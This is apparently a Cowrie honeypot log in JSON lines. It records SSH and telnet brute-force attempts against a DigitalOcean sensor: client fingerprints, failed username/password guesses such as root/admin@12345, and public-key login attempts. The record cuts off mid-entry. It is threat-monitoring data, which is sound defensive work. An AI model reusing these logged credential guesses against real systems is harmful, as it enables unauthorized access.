{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":54250,"dst_ip":"159.203.135.109","dst_port":22,"session":"69c8e2e8bc6a","protocol":"ssh","message":"New connection: 178.128.39.166:54250 (159.203.135.109:22) [session: 69c8e2e8bc6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:22.364524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:22.453505Z","src_ip":"178.128.39.166","session":"69c8e2e8bc6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:22.899858Z","src_ip":"178.128.39.166","session":"69c8e2e8bc6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@12345","message":"login attempt [root/admin@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:23.223142Z","src_ip":"178.128.39.166","session":"69c8e2e8bc6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:24.297030Z","src_ip":"178.128.39.166","session":"69c8e2e8bc6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.57.219.18","src_port":35590,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c1ef03584af","protocol":"ssh","message":"New connection: 198.57.219.18:35590 (10.17.0.5:22) [session: 6c1ef03584af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:37.903274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:37.906345Z","src_ip":"198.57.219.18","session":"6c1ef03584af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:37.994956Z","src_ip":"198.57.219.18","session":"6c1ef03584af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nepal","password":"Kathmandu#Crypto$P@ssw0rd","message":"login attempt [nepal/Kathmandu#Crypto$P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:38.261072Z","src_ip":"198.57.219.18","session":"6c1ef03584af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:39.352130Z","src_ip":"198.57.219.18","session":"6c1ef03584af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.25475597381592,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:41.046104Z","src_ip":"137.184.5.188","session":"bd313ca5e939","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":36830,"dst_ip":"159.203.135.109","dst_port":23,"session":"f846e3bd5a87","protocol":"telnet","message":"New connection: 137.184.5.188:36830 (159.203.135.109:23) [session: f846e3bd5a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:50.274721Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.249.8","src_port":58920,"dst_ip":"159.203.135.109","dst_port":22,"session":"688a75bddeb1","protocol":"ssh","message":"New connection: 162.144.249.8:58920 (159.203.135.109:22) [session: 688a75bddeb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:54.072285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:54.076432Z","src_ip":"162.144.249.8","session":"688a75bddeb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:54.102359Z","src_ip":"162.144.249.8","session":"688a75bddeb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"doha","password":"Doha#S3cur3#Cr@zy$P@ss","message":"login attempt [doha/Doha#S3cur3#Cr@zy$P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:54.181588Z","src_ip":"162.144.249.8","session":"688a75bddeb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:55.209841Z","src_ip":"162.144.249.8","session":"688a75bddeb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.30.240.7","src_port":42848,"dst_ip":"10.17.0.5","dst_port":22,"session":"e41426cc9d29","protocol":"ssh","message":"New connection: 123.30.240.7:42848 (10.17.0.5:22) [session: e41426cc9d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:58.458641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:58.461824Z","src_ip":"123.30.240.7","session":"e41426cc9d29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:15:58.740392Z","src_ip":"123.30.240.7","session":"e41426cc9d29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:b1:a3:47:f4:e5:0f:e5:9f:77:5e:c3:af:e1:1a:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJiWEOlFqeKobYtrtYg3eH77pBZFdK/D32qb4ObfNTHyTNO8mbSy3YPyq9eyORRPh1G8a4KCQhO4008t+Nl+hCOayRp2z5l9+GTKLYyYQXRkQt85pd+98bwC45UqBHufrkqHypS+Hft5z6ZHUPw7vTpvyXTDl9WzjLFpvtYsvx2kjTXinyt31xDO4XOuGMXPI8maUppHjB+9IdKgHs+anD+137sUTvA1damdLsuWfYeZIyW/JQrLYAGdpWy/KRFD0AiZNPNb/JEsWVINlRSVw7hHCd5p5AhPj/CqRpKCM7R3cqFOs9a/o7ASo4Lmh6Rf0eRup53uneQaOy/7E42Uht","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:b1:a3:47:f4:e5:0f:e5:9f:77:5e:c3:af:e1:1a:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:00.112217Z","src_ip":"123.30.240.7","session":"e41426cc9d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:b1:a3:47:f4:e5:0f:e5:9f:77:5e:c3:af:e1:1a:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJiWEOlFqeKobYtrtYg3eH77pBZFdK/D32qb4ObfNTHyTNO8mbSy3YPyq9eyORRPh1G8a4KCQhO4008t+Nl+hCOayRp2z5l9+GTKLYyYQXRkQt85pd+98bwC45UqBHufrkqHypS+Hft5z6ZHUPw7vTpvyXTDl9WzjLFpvtYsvx2kjTXinyt31xDO4XOuGMXPI8maUppHjB+9IdKgHs+anD+137sUTvA1damdLsuWfYeZIyW/JQrLYAGdpWy/KRFD0AiZNPNb/JEsWVINlRSVw7hHCd5p5AhPj/CqRpKCM7R3cqFOs9a/o7ASo4Lmh6Rf0eRup53uneQaOy/7E42Uht","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:00.114833Z","src_ip":"123.30.240.7","session":"e41426cc9d29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:e4:a3:96:a9:7e:5f:f4:c2:b6:19:cd:7d:74:7d:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRTQPxyHV/5gRnyDhy0yMRzlzg6KnGNNLZ0scLd99oqnaGxzRgfz6hHC104oFLs//RxndmsQgrg+tBrDOtFogpmpdgIjgLqX0aaIn1lg2wwj/UbtbSXtLvxQC0XZCy8UoDS6PkpB4RJ5vKimKND37xwM9a0+3MgGglmTHAX9BIu+Jo4KIboHkiTpzgWfY5VYEuEbsTvBg/iVOII2Lv4NmO6a1rRjJKnE+1AMapGVjiw/dJ9eEQzPWn41eglUSpAYWqBRbJKdOZcT7UtUDmK/tfcOLpW2vvB9c1Xkq/dGaYHwug4VOP9jd2NopRyFMkjI+qxzGohsiXvMZwKPmK1bdYUq1yAlACUGxqzMILOw6YsnHKkWyMsBRm7fuuH7F789tqCKi3LrOaay3V8wjirk02r3U4eIVAaTRs8ZTGrwafBL0tAWLc144MKs1oIff1ExowohAN9LSdUzclTVt6U0ubL7N7gp74RubtEOLq6YZ48mD+i4uszfm9omAZTUHqSBc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:e4:a3:96:a9:7e:5f:f4:c2:b6:19:cd:7d:74:7d:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:00.392079Z","src_ip":"123.30.240.7","session":"e41426cc9d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:e4:a3:96:a9:7e:5f:f4:c2:b6:19:cd:7d:74:7d:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRTQPxyHV/5gRnyDhy0yMRzlzg6KnGNNLZ0scLd99oqnaGxzRgfz6hHC104oFLs//RxndmsQgrg+tBrDOtFogpmpdgIjgLqX0aaIn1lg2wwj/UbtbSXtLvxQC0XZCy8UoDS6PkpB4RJ5vKimKND37xwM9a0+3MgGglmTHAX9BIu+Jo4KIboHkiTpzgWfY5VYEuEbsTvBg/iVOII2Lv4NmO6a1rRjJKnE+1AMapGVjiw/dJ9eEQzPWn41eglUSpAYWqBRbJKdOZcT7UtUDmK/tfcOLpW2vvB9c1Xkq/dGaYHwug4VOP9jd2NopRyFMkjI+qxzGohsiXvMZwKPmK1bdYUq1yAlACUGxqzMILOw6YsnHKkWyMsBRm7fuuH7F789tqCKi3LrOaay3V8wjirk02r3U4eIVAaTRs8ZTGrwafBL0tAWLc144MKs1oIff1ExowohAN9LSdUzclTVt6U0ubL7N7gp74RubtEOLq6YZ48mD+i4uszfm9omAZTUHqSBc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:00.395099Z","src_ip":"123.30.240.7","session":"e41426cc9d29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:71:2d:70:18:9d:5b:48:7b:1a:b5:f4:5e:49:7b:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVsl6CT71vr2ClC2AmHgkMG7AN4Hs3m0MTgdc+fRaikzOulgNJkyK3xTe9fls1CZU3zeikrUcOkAXf3VmqhHEV/jJsNprZGzLv/OwvS/xMer12efLuukDNdcvU7bWYVnW23k2t+WyMsOTaCpWe9j6HLWUKRARpLEGFMiSdMi0AfcaUR+KRNNOPDQ4kpxZiLQD4BpAQN10wmdfIQYFTuSAWYu9yautlukCjnl8E3TrB38fX5TqPeEuRY0v4uEUp946cT36mNWuwBhoB6P554/cNvU7U01yBQ9lEQhg0cVK/XZMemRBocbzXrPg8JA26xmU6GQ+2/j5uEuBY+PctwTAJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:71:2d:70:18:9d:5b:48:7b:1a:b5:f4:5e:49:7b:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:00.676753Z","src_ip":"123.30.240.7","session":"e41426cc9d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:71:2d:70:18:9d:5b:48:7b:1a:b5:f4:5e:49:7b:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVsl6CT71vr2ClC2AmHgkMG7AN4Hs3m0MTgdc+fRaikzOulgNJkyK3xTe9fls1CZU3zeikrUcOkAXf3VmqhHEV/jJsNprZGzLv/OwvS/xMer12efLuukDNdcvU7bWYVnW23k2t+WyMsOTaCpWe9j6HLWUKRARpLEGFMiSdMi0AfcaUR+KRNNOPDQ4kpxZiLQD4BpAQN10wmdfIQYFTuSAWYu9yautlukCjnl8E3TrB38fX5TqPeEuRY0v4uEUp946cT36mNWuwBhoB6P554/cNvU7U01yBQ9lEQhg0cVK/XZMemRBocbzXrPg8JA26xmU6GQ+2/j5uEuBY+PctwTAJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:00.680646Z","src_ip":"123.30.240.7","session":"e41426cc9d29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:b5:41:e0:8e:92:b8:f5:fc:61:2b:d2:65:72:8f:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAry644nQe6nhURlIcm426T6H9vPkBqEo9pA9S3OFT07Gc3RT65MKeFqaR9FW2hhV7Zqs2ZWVN6ITQkePiAmlb3XEVe+gJtpMH1PzUcTqkX20CMhC0S8PTn/+6N2KVPfpd0pPgLo3c7FgfPf7dJRHl3aX+wK1g8CpxGPRJvCdBeDDl2bgnrgDZwRqzTk6q0VB2UazCPY1T9HmYPaxLnatimllyQy+bt6P/oZG5/fubYhGcFQgnxJg87Zbb+QVAd2bvCGirwNOiDhpaQTsaxtFHkq1dICTDYd0oydf9b1PELErP1L8eAv8UGHFYmYaSBOAbh4vNPgfG2wblv44lfIpg8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:b5:41:e0:8e:92:b8:f5:fc:61:2b:d2:65:72:8f:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:00.960443Z","src_ip":"123.30.240.7","session":"e41426cc9d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:b5:41:e0:8e:92:b8:f5:fc:61:2b:d2:65:72:8f:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAry644nQe6nhURlIcm426T6H9vPkBqEo9pA9S3OFT07Gc3RT65MKeFqaR9FW2hhV7Zqs2ZWVN6ITQkePiAmlb3XEVe+gJtpMH1PzUcTqkX20CMhC0S8PTn/+6N2KVPfpd0pPgLo3c7FgfPf7dJRHl3aX+wK1g8CpxGPRJvCdBeDDl2bgnrgDZwRqzTk6q0VB2UazCPY1T9HmYPaxLnatimllyQy+bt6P/oZG5/fubYhGcFQgnxJg87Zbb+QVAd2bvCGirwNOiDhpaQTsaxtFHkq1dICTDYd0oydf9b1PELErP1L8eAv8UGHFYmYaSBOAbh4vNPgfG2wblv44lfIpg8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:00.963991Z","src_ip":"123.30.240.7","session":"e41426cc9d29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:c3:de:7a:a6:0f:52:9d:ff:20:65:b0:19:5a:03:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBG+8HRtYm91kWkR1xRfAQNDX0/7gRNZazMTqmPdoLMvGGqT6RZaZibztFAct0IX/9FICI0BgI3tFcdY//yXGLd6LJ3Nd+o5EJ/i5rRjHZOAW0VqRvB9ZEHz05t0fPFCYwM6eou+iR23Zkf1JUoR27YnD5PwPev8Zyslt76oSA5jTOn8s2njdDxfLhQ1B0XxZ+5zryoyBlW16oc6lefyuCWW+yfIPqvqXH8ctOKZCpPtddt7nqBst2w6ZrnLxpkjAXWQt9VewifIk9Kd9koZlIBWB9RMk2TaNwryAajl9AuyzEcJxDbbtBljYhCuMt7RTB7t8bmf/O2QGGVruJBGs9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:c3:de:7a:a6:0f:52:9d:ff:20:65:b0:19:5a:03:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:01.243632Z","src_ip":"123.30.240.7","session":"e41426cc9d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:c3:de:7a:a6:0f:52:9d:ff:20:65:b0:19:5a:03:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBG+8HRtYm91kWkR1xRfAQNDX0/7gRNZazMTqmPdoLMvGGqT6RZaZibztFAct0IX/9FICI0BgI3tFcdY//yXGLd6LJ3Nd+o5EJ/i5rRjHZOAW0VqRvB9ZEHz05t0fPFCYwM6eou+iR23Zkf1JUoR27YnD5PwPev8Zyslt76oSA5jTOn8s2njdDxfLhQ1B0XxZ+5zryoyBlW16oc6lefyuCWW+yfIPqvqXH8ctOKZCpPtddt7nqBst2w6ZrnLxpkjAXWQt9VewifIk9Kd9koZlIBWB9RMk2TaNwryAajl9AuyzEcJxDbbtBljYhCuMt7RTB7t8bmf/O2QGGVruJBGs9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:01.246700Z","src_ip":"123.30.240.7","session":"e41426cc9d29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:01.525880Z","src_ip":"123.30.240.7","session":"e41426cc9d29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.27755403518677,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:34.552081Z","src_ip":"137.184.5.188","session":"f846e3bd5a87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":39656,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6d941e9fb2a","protocol":"ssh","message":"New connection: 80.66.85.226:39656 (159.203.135.109:22) [session: c6d941e9fb2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:47.328761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:47.331592Z","src_ip":"80.66.85.226","session":"c6d941e9fb2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-g